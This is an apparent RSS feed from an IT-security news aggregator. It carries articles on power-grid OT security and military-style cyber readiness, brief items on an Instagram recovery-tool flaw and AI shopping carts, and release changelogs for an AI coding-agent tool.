<p>Simply replacing those legacy devices isn’t viable. Unlike IT equipment, which gets depreciated and refreshed every 3 to 5 years, OT products in the energy sector are expected to be operational for decades. Funding upgrades requires rates to increase, making it difficult to replace equipment that works simply because it’s not secure.</p>



<p>Adding to this is a cultural disconnect that, from my perspective, is one of the hardest issues to solve. Traditional OT teams are in the field wearing hard hats and fixing power lines and are very focused on continuous availability. IT security departments operate in a different world and are accustomed to software updates at the pace of Microsoft’s “Patch Tuesday” and, frankly, the occasional outage. And who owns the security of the converged network remains cloudy.</p>



<p>Identity and access management is a prime example of how OT cybersecurity capabilities have not kept up with IT threats. Many legacy devices only support a single login username and password, as it was assumed they could rely on adequate physical security. As a result, all technicians share the same device credentials. I’ve even seen operators implement password management systems where technicians “check out” the logins for a given device over the phone, so there is some level of tracking who requested access to a system. However, because the password never changes, any technician or attacker can access the device later without adequate access logging (to say nothing of former employees).</p>



<h2 class="wp-block-heading">The threat actors aren’t waiting</h2>



<p><a href="https://therecord.media/volt-typhoon-hackers-utility-months" rel="nofollow">Chinese-linked Volt Typhoon operators were active inside a Massachusetts utility’s network for nearly a year without detection</a>. No known damage was caused. Instead, worryingly, they were mapping the environment, learning to move data in and out, most likely as reconnaissance for future operations.</p>



<p>The Ukrainian grid has been targeted by <a href="https://www.technologyreview.com/2022/04/12/1049586/russian-hackers-tried-to-bring-down-ukraines-power-grid-to-help-the-invasion/" rel="nofollow">Russian-backed Sandworm operators</a>. The U.S. has stronger cyber defenses and greater automation; however, operators in Ukraine can manually reset systems using physical switches. In North America, newer systems lack this type of override, removing a failsafe when issues occur.</p>



<p>Security experts’ concerns extend beyond these isolated incidents. They fear a cyberattack in combination with kinetic events like a war, natural disaster, financial crisis or a geopolitical incident. <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a" rel="nofollow">Dormant malware has been found repeatedly in U.S. infrastructure, waiting to be activated</a>.</p>



<p>Compounding the threat, the attack surface for cybercriminals to exploit has expanded. <a href="https://www.mdpi.com/1996-1073/15/11/3931" rel="nofollow">EV charging stations create Ethernet connections between vehicles and the grid</a>. An infected charger could spread malware to a car, which may then be propagated to public chargers and into other grid systems.</p>



<p>Addressing these vulnerabilities and complying with regulations requires monitoring hackers’ lateral movement across networks. What concerns me is not just the sophistication of threats but also how the sector is having to rethink detection in the post-Mythos world. I’ve seen organizations move away from backhauling all network data to a central site for monitoring and attack detection, as the rapid adoption of connected devices and escalating data volumes make that approach unsustainable. As a result, there is a shift toward pushing intelligent analytics, often AI-based, out to the edge for faster detection and alerting, with only critical event-driven data sent back to a central collection point. This improves security posture and detection speed while reducing detection latency, network consumption and storage requirements.</p>



<h2 class="wp-block-heading">What security leaders should prioritize now</h2>



<p>Regulatory frameworks are starting to catch up. <a href="https://www.federalregister.gov/documents/2025/07/02/2025-12309/critical-infrastructure-protection-reliability-standard-cip-015-1-cyber-security-internal-network" rel="nofollow">NERC CIP-015-1 regulation went into effect in September 2025</a> with phased compliance through 2030. It mandates internal network security monitoring for high and medium-impact systems, marking a shift from perimeter-only defense. <a href="https://www.federalregister.gov/documents/2026/03/24/2026-05711/order-no-918-critical-infrastructure-protection-reliability-standard-cip-003-11-cyber" rel="nofollow">CIP-003-11, effective May 2026, extends protections to lower-impact facilities</a>, recognizing that coordinated attacks on smaller targets can have an aggregate impact.</p>



<p>However, regulations are a baseline. The real priority is network awareness, and in OT environments, that means thinking differently, as traditional antivirus software can’t be installed on a smart inverter or a PLC. Similarly, OT endpoints can’t be rapidly (or, sometimes, ever) updated, unlike a laptop or server. Security depends on traffic, packet capture and anomaly detection across the entire grid network.</p>



<p>In my view, understanding the attack surface is the most critical capability that a utility security team should focus efforts on building. To obtain this visibility requires rigorous, proactive testing of OT devices, operationalized firmware analysis to identify embedded vulnerabilities and network security assessments of IT/OT boundaries. The goal is to understand exposure before hackers rather than waiting for an alert.</p>



<p>None of this works, however, without solving the people problem I described earlier. The ownership debate must give way to cross-functional governance. In my experience, this usually requires reengineering the organizational structure. Simulation technologies, such as digital twins, can unlock insights into energy networks, enabling operators to model scenarios and understand the impact of an intrusion. For example, what happens if an attacker gains access to the network through a compromised Virtual Power Plant (VPP) provider and moves laterally into substation controls? Scenario planning turns insights into resilience across distributed infrastructure.</p>



<h2 class="wp-block-heading">Grid security needs a better forecast</h2>



<p>The days of estimating energy demand by sticking your head out the window to check the weather are long gone. The same is true for security. The grid has been transformed from an isolated, physically secured system into a cloud-enabled, bidirectional, device-dense network. But many grid operators, generator owners, and other responsible entities are still defending it as if it were a physical building with a fence around it.</p>



<p>Cybercriminals already have their tentacles in utility networks and infrastructure, waiting to strike. The energy sector can’t view cybersecurity as a compliance exercise or an IT problem that OT teams can defer. The organizations able to weather what’s coming are those that prioritize lateral awareness and proactive validation. In today’s cyber environment, the question for the energy sector is, will you have the visibility to detect an attack and the resilience to recover?</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.csoonline.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta AI Recovery Tool Flaw Exposed 20,000+ Instagram Accounts]]></title>
<description><![CDATA[A flaw in Meta’s AI-powered Instagram recovery tool exposed over 20,000 accounts, letting attackers reset passwords and take over profiles. Meta’s High Touch Support tool, known as HTS, was designed to help Instagram users recover locked accounts: you provide an…
Read more →
The post Meta AI Reco...]]></description>
<link>https://tsecurity.de/de/3581113/it-security-nachrichten/meta-ai-recovery-tool-flaw-exposed-20000-instagram-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3581113/it-security-nachrichten/meta-ai-recovery-tool-flaw-exposed-20000-instagram-accounts/</guid>
<pubDate>Mon, 08 Jun 2026 12:37:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A flaw in Meta’s AI-powered Instagram recovery tool exposed over 20,000 accounts, letting attackers reset passwords and take over profiles. Meta’s High Touch Support tool, known as HTS, was designed to help Instagram users recover locked accounts: you provide an…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/meta-ai-recovery-tool-flaw-exposed-20000-instagram-accounts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/meta-ai-recovery-tool-flaw-exposed-20000-instagram-accounts/">Meta AI Recovery Tool Flaw Exposed 20,000+ Instagram Accounts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta AI Recovery Tool Flaw Exposed 20,000+ Instagram Accounts]]></title>
<description><![CDATA[A flaw in Meta’s AI-powered Instagram recovery tool exposed over 20,000 accounts, letting attackers reset passwords and take over profiles. Meta’s High Touch Support tool, known as HTS, was designed to help Instagram users recover locked accounts: you provide an email address, you get a password ...]]></description>
<link>https://tsecurity.de/de/3581078/hacking/meta-ai-recovery-tool-flaw-exposed-20000-instagram-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3581078/hacking/meta-ai-recovery-tool-flaw-exposed-20000-instagram-accounts/</guid>
<pubDate>Mon, 08 Jun 2026 12:24:24 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A flaw in Meta’s AI-powered Instagram recovery tool exposed over 20,000 accounts, letting attackers reset passwords and take over profiles. Meta’s High Touch Support tool, known as HTS, was designed to help Instagram users recover locked accounts: you provide an email address, you get a password reset link. The flaw was equally simple: the tool […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Weis Markets adds Instacart AI-powered shopping carts to stores]]></title>
<description><![CDATA[Weis Markets is adding Instacart’s AI-powered shopping carts, Caper Carts, to select stores in Pennsylvania, bringing digital coupons, loyalty features, and repeat-purchase recommendations into the grocery aisle. The Pennsylvania-based grocery chain is working with Instacart to deploy the smart c...]]></description>
<link>https://tsecurity.de/de/3581070/ai-nachrichten/weis-markets-adds-instacart-ai-powered-shopping-carts-to-stores/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3581070/ai-nachrichten/weis-markets-adds-instacart-ai-powered-shopping-carts-to-stores/</guid>
<pubDate>Mon, 08 Jun 2026 12:19:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Weis Markets is adding Instacart’s AI-powered shopping carts, Caper Carts, to select stores in Pennsylvania, bringing digital coupons, loyalty features, and repeat-purchase recommendations into the grocery aisle. The Pennsylvania-based grocery chain is working with Instacart to deploy the smart carts, which include cameras, certified scales, location systems, and a touchscreen. According to Instacart, Caper Carts […]</p>
<p>The post <a href="https://www.artificialintelligence-news.com/news/weis-markets-instacart-ai-powered-shopping-caper-carts/">Weis Markets adds Instacart AI-powered shopping carts to stores</a> appeared first on <a href="https://www.artificialintelligence-news.com/">AI News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why most enterprise security teams would fail a military readiness test]]></title>
<description><![CDATA[Have you ever watched a military cyber ops team go to work responding to a cyberattack simulation? It’s like that scene from Die Hard 4.0 when all the screens start flashing red and systems start shutting down; however, unlike the movies, where bumbling government IT workers are caught out and pa...]]></description>
<link>https://tsecurity.de/de/3580904/it-security-nachrichten/why-most-enterprise-security-teams-would-fail-a-military-readiness-test/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580904/it-security-nachrichten/why-most-enterprise-security-teams-would-fail-a-military-readiness-test/</guid>
<pubDate>Mon, 08 Jun 2026 11:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Have you ever watched a military cyber ops team go to work responding to a cyberattack simulation? It’s like that scene from Die Hard 4.0 when all the screens start flashing red and systems start shutting down; however, unlike the movies, where bumbling government IT workers are caught out and panicking, our military actually moves with practiced precision to understand, contain, and mitigate the threat. Everybody understands their roles and any gaps are quickly highlighted and handled. This is because the military treats cyber as a kinetic threat requiring constant mission rehearsal, while the corporate sector is still treating cyber defense as a compliance checkbox, rather than an operational capability. This is untenable in a world where attackers constantly innovate their tactics and techniques to probe and access systems.</p>



<p>Over the past 12 months, we’ve seen just how unprepared different industry sectors have been in the face of major cyber incidents. Early in 2025, retailers and insurance brokers were brought down by the Scattered Spider group, and major manufacturers, including Jaguar Land Rover and Asahi Beer, saw months of downtime following ransomware attacks resulting from <a href="https://www.csoonline.com/article/4154550/supply-chain-security-is-now-a-board-level-issue-heres-what-csos-need-to-know.html">supply chain compromises</a>.</p>



<p>More recently, researchers at Cisco revealed that frontier models from OpenAI, Anthropic, Google, xAI, and Amazon <a href="https://www.csoonline.com/article/4177903/ai-models-more-vulnerable-than-claimed-when-faced-with-iterative-attacks.html">have significantly worse risk profiles</a> when pressured in multi-turn attacks, a discovery that revealed attack success rates are considerably higher than those benchmarked in simulated single-prompt attacks. This, combined with recent news that the Google Threat Intelligence Group identified what researchers believe to be <a href="https://www.csoonline.com/article/4169046/google-discovers-weaponized-zero-day-exploits-created-with-ai.html">the first zero-day exploit created using AI</a>, represents an entirely new stage in the technological arms race.</p>



<p>Those old-fashioned tabletop exercises where, once a year, you’d get everyone from IT to PR in a room for a couple of days and play out various scenarios and then tick that audit box for another 12 months aren’t going to cut it when attackers are probing on a daily basis. The military is using dynamic cyber ranges to test their real tools, people, and processes, in an exact simulation of their unique environment, against real-world threats like the tactics of Scattered Spider. Without real-world testing of your team’s capabilities, you’re not going to be able to go into an incident scenario confident that everyone’s prepared.</p>



<p>So, what can we learn from how the military prepares for cyberattacks in terms of mindset, readiness, and execution?</p>



<p>Military cyber doctrine starts with the assumption that you will be attacked and so prepare as though an attack is inevitable and not hypothetical. Businesses need to shift their mindset from “preventing breaches” to “detail, contain, and recover” and treat incidents as operational events rather than reputational crises. This reduces panic and leads to better decisions under pressure. It’s also critical for business leaders to understand their true vulnerabilities. Reputational and financial harm is typical collateral damage following a cyberattack, but was this the intended outcome? If sensitive data is compromised, are there persistent threats beyond the initial attack? Just as the military examines the secondary and tertiary impacts of risk scenarios in threat modeling, business leaders have to consider what else beyond their reputation and stock price may be compromised when they are attacked.</p>



<p>The military runs constant exercises; simulations, red team and blue team drills, and scenario planning that reflects real adversary behavior. Businesses can exercise that muscle by running regular live cyber simulations and updating based on real-world attacks. Conventional training still has its place, and companies should continue to invest in professional development programs that provide a strong foundational understanding of the most urgent threats facing their business. But, as the military says, “train like you fight.” There is simply no substitute for practical, hands-on training, especially when it comes to high-pressure, time-sensitive scenarios such as large-scale cyberattacks.</p>



<p>This readiness and preparedness training can, and should<em>,</em> extend to AI Agents too. Think about it like an “AI Proving Grounds”. Effectively, a realistic, intelligent environment where organizations can safely train human operators alongside AI agents, test autonomous workflows, and validate how both perform under real adversarial pressure before deployment. Continue to involve all the stakeholders, including executives and comms teams, who are going to be on the front line of customer, investor, and media inquiries should an attack occur. Without realism, readiness is an assumption, not a fact.</p>



<p>In a military cyber incident, everyone knows who decides, who communicates, and who executes, reducing any mid-crisis debate and empowering teams to act without permission to faster contain the incident. This principle is just as relevant in a corporate environment. Individual training is crucial, and operators should be confident acting in isolation, but it’s just as important that everyone in a rapid response team can work effectively with others, under often-intense pressure. This simulated teamwork is another advantage offered by AI Proving Grounds. In the same way that everyone in a military chain of command understands their role and that of their unit, businesses can pre-assign decision makers and define escalation paths before an incident to ensure clarity and calm rather than blind panic.</p>



<p>Finally, attackers are sharing knowledge all the time. <a href="https://www.csoonline.com/article/4177308/what-the-industrialization-of-exploitation-means-for-defenders.html">Defenders must adopt the same approach</a>. We know that militaries collaborate extensively across allies, agencies, and domains, recognizing that no unit has the full threat picture. Businesses can benefit from this information sharing by participating in ISACs, CERTs, and industry groups, treating threat intel as a collective defense rather than a competitive weakness.</p>



<p>AI Proving Grounds themselves are only part of the solution. Security is cultural, not just procedural. Even the most realistic simulated attack scenario is only useful if structures are in place for stakeholders to learn from it. What didn’t work well? What didn’t go as expected? What are the weakest links in the response chain? These are all questions executives and technical leadership should be comfortable asking themselves, and businesses must adopt cultures of responsibility to identify potential weaknesses beyond technical limitations. Such retrospectives can and should inform rapid-response playbooks to ensure that training is relevant and that weaknesses cannot be exploited in a production environment.</p>



<p>Many of the clients we work with are corporations and enterprises, but AI Proving Grounds have other applications. Recent years have seen coordinated attacks on critical infrastructure such as the nation’s power grid, including the prolonged intrusion by the Volt Typhoon persistent threat actor, which maintained unauthorized access to the operational technology networks of Littleton Electric Light and Water Departments in Massachusetts from February 2024 to November 2024. Such threats can also be simulated in AI Proving Grounds and provide crucial hands-on training opportunities for critical infrastructure providers that, until now, have been challenging to realistically model. With geopolitical tensions rising across the globe, operational readiness has never been more critical.</p>



<p>“Cyber resilience” has become something of a buzzword in itself and I can almost hear the eye rolls just using the phrase, but it is something the military does actively practice. Cyber resilience isn’t about prevention; it means being able to recover from as well as protect against attacks. With <a href="https://www.csoonline.com/article/4159305/helmut-reisinger-palo-alto-networks-anthropics-groundbreaking-mythos-model-represents-a-radical-shift-in-cybersecurity.html">AI-powered adversaries scaling their approach</a> to infiltration, extortion, and espionage, attacks are only going to increase and businesses need to be prepared to deal with them as well as prevent them. Continuous training within highly realistic and dynamic environments against real threat examples is the best way to ensure your teams are prepared at a military grade to secure your organization.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.csoonline.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.9.5]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Fixed

Surfaced Anthropic stream failures whose message starts with Output blocked by conten as normal assistant error lifecycle events, so interactive clients render content-filter blocks instead of silently dropping the streaming bubble at agent_end.

@oh-my-pi/pi-coding...]]></description>
<link>https://tsecurity.de/de/3580234/tools/v1595/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580234/tools/v1595/</guid>
<pubDate>Mon, 08 Jun 2026 02:50:56 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-agent-core</h2>
<h3>Fixed</h3>
<ul>
<li>Surfaced Anthropic stream failures whose message starts with <code>Output blocked by conten</code> as normal assistant error lifecycle events, so interactive clients render content-filter blocks instead of silently dropping the streaming bubble at <code>agent_end</code>.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>
<p>Added a persistent error banner pinned above the editor when an assistant turn ends on a provider error (e.g. Anthropic's "Output blocked by content filtering policy"). The transcript <code>Error: …</code> line scrolls away as the conversation grows, so terminal turns that ended on a stream error could pass unnoticed; the banner stays in the fixed region above the input and is cleared when the next turn starts.</p>
</li>
<li>
<p>Added bold, underlined, clickable <code>[Image #N]</code> placeholders in the draft editor and sent user-message bubbles, backed by extension-bearing blob-store sidecar files so terminal <code>file://</code> links open in image viewers.</p>
</li>
<li>
<p>Added the active model identifier (<code>provider/id</code>) to the system prompt's <code>&lt;workstation&gt;</code> block so the agent knows which model it is running as. Gated by the new <code>includeModelInPrompt</code> setting (default on); the base prompt is rebuilt on a mid-session model switch so the surfaced identifier stays current.</p>
</li>
<li>
<p>Added <code>OLLAMA_HOST</code> support for implicit local Ollama discovery when <code>OLLAMA_BASE_URL</code> is unset, so OMP picks up the same host setting used by Ollama.</p>
</li>
<li>
<p>Added <code>OLLAMA_CONTEXT_LENGTH</code> as a positive-integer context-window override for implicit local Ollama discovery, so users can correct OMP context budgeting without writing per-model overrides.</p>
</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed <code>tools.discoveryMode</code> to default to <code>auto</code>, which keeps discovery off for small tool sets and automatically switches to MCP-only tool discovery when more than 40 tools are registered.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed user-message rendering to materialize image links from embedded image blocks when rebuilding chat output, so image placeholders remain clickable after replayed or restored messages</li>
<li>Fixed queued/steering user messages carrying a pasted image rendering out of order — sometimes dropping the user bubble <em>below</em> the very tool output it was sent to steer. <code>EventController.#handleMessageStart</code> awaited async image-link materialization between the user <code>message_start</code> and <code>addMessageToChat</code>; since <code>AgentSession.#emit</code> dispatches TUI listeners fire-and-forget, that mid-handler yield let the next synchronously-handled events (assistant <code>message_start</code>, tool execution start/end) append their components first, scrambling transcript order and live-region block boundaries. The bubble is now appended synchronously, with clickable image links still materialized via the synchronous blob-store fallback.</li>
<li>Fixed tool execution cards to finalize promptly when a turn is abandoned or completed so stale streaming previews and frozen spinner frames no longer keep transcript rows in the live region</li>
<li>Fixed <code>read</code> and <code>search</code> TUI rendering to emit OSC 8 hyperlinks for HTTP URLs, <code>local://</code> resources backed by files, and filesystem search targets, including line-specific links for search match rows.</li>
<li>Fixed aborted streaming assistant messages staying frozen before their red "Operation aborted" label when status rows were appended underneath on ED3-risk terminals.</li>
<li>Fixed <code>omp</code> / <code>omp -c</code> stacking a fresh welcome screen and transcript on top of the previous run's leftover terminal scrollback. The cold-launch transcript render was the only session-load path that did not pass <code>clearTerminalHistory</code>, so the TUI's scrollback-preserving initial paint left the prior run's welcome + conversation above the new one; the cold launch now clears native scrollback before painting, matching every in-process session switch.</li>
<li>Fixed a long streamed assistant reply dropping its earlier lines on ED3-risk terminals (Ghostty/kitty/iTerm2) once it grew past the viewport — the head scrolled off the top and never reached scrollback, so the reply rendered as a ~viewport-tall circular buffer of only its latest lines. <code>AssistantMessageComponent</code> now reports itself as an append-only transcript block and <code>TranscriptContainer</code> surfaces the resulting commit-safe boundary, so the renderer commits the scrolled-off head to native scrollback instead of discarding it (volatile tool previews stay deferred as before).</li>
</ul>
<h3>Security</h3>
<ul>
<li>Blocked OSC 8 hyperlink wrapping for URI targets containing terminal control bytes to avoid rendering malformed control-sequence links</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Changed</h3>
<ul>
<li>Changed terminal resize handling so any width or height change always performs a clean reset + redraw: the renderer now unconditionally clears the viewport and native scrollback (<code>CSI 2 J</code> / <code>CSI 3 J</code>) and replays the full transcript at the new geometry, replacing the previous matrix of conditional viewport-repaint / history-rebuild / deferred-mutation branches. Multiplexer panes still repaint the visible window in place (pane scrollback cannot be erased), but a resize during active ED3-risk foreground streaming now performs the same clean rebuild rather than downgrading to a non-destructive viewport repaint: the terminal already re-wrapped its saved lines at the old width, so the rebuild must erase them (ED 3) instead of leaving the mis-wrapped history on screen. As a deliberate tradeoff this drops the prior no-overflow and confirmed-scrolled guards on resize: a reader scrolled into history snaps back to the bottom and preexisting shell scrollback above the UI is cleared.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed ED3-risk foreground streaming dropping the scrolled-off head of an append-only live block that alone overflows the viewport (a long streamed assistant reply). The live-region pin again committed native scrollback only up to the live-region start, so once the live block grew past the viewport its earlier rows scrolled above the viewport top but were committed nowhere and repainted nowhere — they vanished, leaving the reply looking like a ~viewport-tall circular buffer. The <code>NativeScrollbackLiveRegion</code> seam now also reports an optional append-only <code>getNativeScrollbackCommitSafeEnd</code>, and the pinned commit boundary is the deeper of the sealed start and that append-only end: rows in <code>[liveRegionStart, commitSafeEnd)</code> above the viewport top commit to scrollback, while volatile live blocks (tool previews that collapse) omit the boundary and keep their mutable rows deferred — preserving the pending-box-above-running-box fix.</li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.9.4...v15.9.5"><tt>v15.9.4...v15.9.5</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.9.67]]></title>
<description><![CDATA[@oh-my-pi/pi-ai
Fixed

Fixed llama.cpp/OpenAI Responses parallel tool calls losing arguments when function_call_arguments.done events omit output_index and item_id, by routing those identifierless final-argument events through the open function calls in item order. (#1970)
Fixed local Ollama (ope...]]></description>
<link>https://tsecurity.de/de/3580233/tools/v15967/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580233/tools/v15967/</guid>
<pubDate>Mon, 08 Jun 2026 02:50:55 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-ai</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed llama.cpp/OpenAI Responses parallel tool calls losing arguments when <code>function_call_arguments.done</code> events omit <code>output_index</code> and <code>item_id</code>, by routing those identifierless final-argument events through the open function calls in item order. (<a href="https://github.com/can1357/oh-my-pi/issues/1970" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1970/hovercard">#1970</a>)</li>
<li>Fixed local Ollama (<code>openai-responses</code>) turns failing with HTTP 400 <code>invalid reasoning value: "minimal"</code> when a discovered model ran with <code>minimal</code> (or <code>xhigh</code>) thinking. Ollama's OpenAI-compatible <code>reasoning.effort</code> only accepts <code>high|medium|low|max|none</code>, so discovered reasoning-capable Ollama models now carry a <code>compat.reasoningEffortMap</code> remapping <code>minimal → low</code> and <code>xhigh → max</code>; non-reasoning models are left untouched.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>Added <code>timeout-pause</code> and <code>timeout-resume</code> eval bridge status events emitted around <code>agent()</code>/<code>llm()</code> operations</li>
<li>Added a <code>/copy</code> picker: <code>/copy</code> now opens a fullscreen, outlined tree of recent assistant messages with their code blocks nested beneath (like <code>/tree</code>). Navigate with ↑↓, and Enter copies the highlighted node — a whole message, an individual code block, "All N blocks", or a bash/eval command interleaved with the assistant turn that issued it. A live preview pane shows the selected target, wrapping prose and syntax-highlighting code/commands.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed eval timeout accounting so delegated bridge calls now suspend the cell watchdog and start a fresh timeout window when runtime control returns</li>
<li>Changed <code>IdleTimeout</code> to support reference-counted pauses so overlapping delegated bridge calls keep timeout paused until all calls complete</li>
<li>Changed the default <code>app.message.followUp</code> binding from <code>Ctrl+Enter</code> alone to <code>[Ctrl+Q, Ctrl+Enter]</code> so the follow-up shortcut works in Windows Terminal, which does not deliver a distinct <code>Ctrl+Enter</code> event to console apps. <code>Ctrl+Q</code> mirrors the GitHub Copilot CLI default for the same action; existing remaps in <code>~/.omp/agent/keybindings.yml</code> are untouched, and if another user-remapped action already claims <code>Ctrl+Q</code>, that user binding wins while follow-up keeps <code>Ctrl+Enter</code>. <code>Ctrl+Q</code> is also reserved by <code>ExtensionRunner</code> so an extension cannot register that chord and be silently overwritten by the built-in follow-up handler (<a href="https://github.com/can1357/oh-my-pi/issues/1903" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1903/hovercard">#1903</a>).</li>
<li>Changed all scrollable TUI pickers and viewports to render through the shared <code>ScrollView</code> right-edge scrollbar for a uniform look, replacing their ad-hoc <code>(N/M)</code> / <code>[a-b/total]</code> text indicators (search hints and the tree filter-mode label are preserved). Covers the session/resume picker, model selector, OAuth provider selector, history search, session tree selector, agent dashboard list, extension list, user-message selector, the raw SSE debug viewer, the autoresearch dashboard overlay, and the session observer overlay.</li>
<li>Changed the <code>/model</code> and <code>/switch</code> selectors to dim and skip models whose context windows are smaller than the current chat context.</li>
<li>Changed <code>/copy</code> command targets to appear inline with recent assistant messages instead of as a separate "Last bash command" row at the end of the picker.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed the idle <code>Working...</code> loader freezing on ED3-risk terminals with unobservable native scrollback by keeping foreground live-region rendering enabled from <code>agent_start</code> until <code>agent_end</code>, before the first assistant or tool event arrives.</li>
<li>Fixed framed tool output blocks rendering one column inset inside tool boxes; modern bordered blocks now span the same width as legacy background-filled tool boxes.</li>
<li>Fixed potential <code>TimeoutError</code> aborts for short <code>timeout</code> eval cells during long bridged <code>agent()</code>/<code>llm()</code> work where no progress events are emitted until completion</li>
<li>Fixed retry recovery to allow automatic retries without switching models when <code>retry.modelFallback</code> is disabled.</li>
<li>Fixed <code>ttsr.enabled: false</code> being ignored at runtime. TTSR rules were still being registered with <code>TtsrManager.addRule</code> and matched against stream deltas even when the global toggle was off, so disabling TTSR did not suppress rule injection or stream abort. The manager now gates <code>addRule</code>, <code>hasRules</code>, and <code>#matchBuffer</code> on the enabled flag, so disabling fully short-circuits the TTSR path. Condition rules fall through to the rulebook bucket instead of being silently swallowed. (<a href="https://github.com/can1357/oh-my-pi/issues/1767" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1767/hovercard">#1767</a>)</li>
<li>Fixed the Python eval kernel hanging on Windows during <code>import pandas</code> / <code>import numpy</code>, with SIGINT unable to recover the cell. <code>PythonKernel.start()</code> spawned the runner with <code>windowsHide: true</code>, which in Bun maps to the Win32 <code>CREATE_NO_WINDOW</code> flag and detaches the long-lived child from any inherited console — so native extensions like <code>numpy/_core/_multiarray_umath.pyd</code> (and its bundled OpenBLAS/SLEEF thread-pool init) could deadlock inside <code>LoadLibraryExW</code>, and <code>GenerateConsoleCtrlEvent</code>-based SIGINT delivery silently became a no-op. The kernel now hides its window only when the host itself has no console to share (service / piped launch); an interactive TUI launch lets the kernel inherit the parent's console, matching the behavior of <code>python.exe</code> invoked from <code>cmd.exe</code> (<a href="https://github.com/can1357/oh-my-pi/issues/1960" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1960/hovercard">#1960</a>).</li>
<li>Fixed <code>task</code> renderer crashing the TUI with <code>TypeError: completeData?.map is not a function</code> when a subagent's <code>extractedToolData.yield</code> slot held a non-array value. <code>renderAgentResult</code> (and the live-progress sibling) cast the slot to <code>Array&lt;{ data }&gt;</code> and called <code>?.map</code>, but optional chaining short-circuits only on <code>null</code>/<code>undefined</code>, so a plain object made <code>.map</code> <code>undefined</code> and threw — taking down every <code>review</code> task render. Both sites now go through <code>normalizeYieldData</code>, which wraps a single object as a 1-element array and drops primitives (<a href="https://github.com/can1357/oh-my-pi/issues/1987" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1987/hovercard">#1987</a>)</li>
<li>Fixed <code>sdk-async-job-manager-singleton</code> tests flaking under the full parallel suite. The four <code>createAgentSession</code>-based cases ran on the default 5000ms per-test timeout, which two real session startups can exceed when <code>test:ts</code> saturates the machine across packages; on timeout the still-running test body and <code>afterEach</code> reset raced, surfacing a spurious "Unhandled error between tests" on the <code>AsyncJobManager.instance()</code> assertion. They now carry an explicit 60000ms timeout, matching the convention used by the other session-creating tests in this suite.</li>
<li>Fixed streaming <code>eval</code>, <code>bash</code>, <code>ssh</code>, and <code>task</code> call previews overflowing the live transcript viewport and cutting off their top while pending. A volatile tool block taller than the viewport could strand its scrolled-off head out of native scrollback on ED3-risk terminals (committed nowhere, repainted nowhere) until the result landed. The pending <code>eval</code> source preview now follows the streaming edge in a bounded 12-line tail window (newest lines pinned to the bottom, "… N earlier lines" on top) so you can watch the code being written without the box overflowing; <code>bash</code>/<code>ssh</code> commands and <code>task</code> context use a bounded head+tail window. <code>Ctrl+O</code> still lifts the cap for a full view.</li>
<li>Fixed the streaming <code>write</code> call preview ignoring <code>Ctrl+O</code> so the expand toggle was a no-op while a file was being written. Unlike the <code>eval</code>/<code>bash</code>/<code>ssh</code>/<code>task</code> streaming previews, <code>formatStreamingContent</code> never received the <code>expanded</code> flag, leaving the preview pinned to a bounded 12-line tail window even after pressing <code>Ctrl+O</code> — so on a large write you could not widen past the streaming edge until the tool result landed. The preview now lifts the cap to the full file (head through tail) when expanded, matching the documented streaming-preview behavior of the other tools.</li>
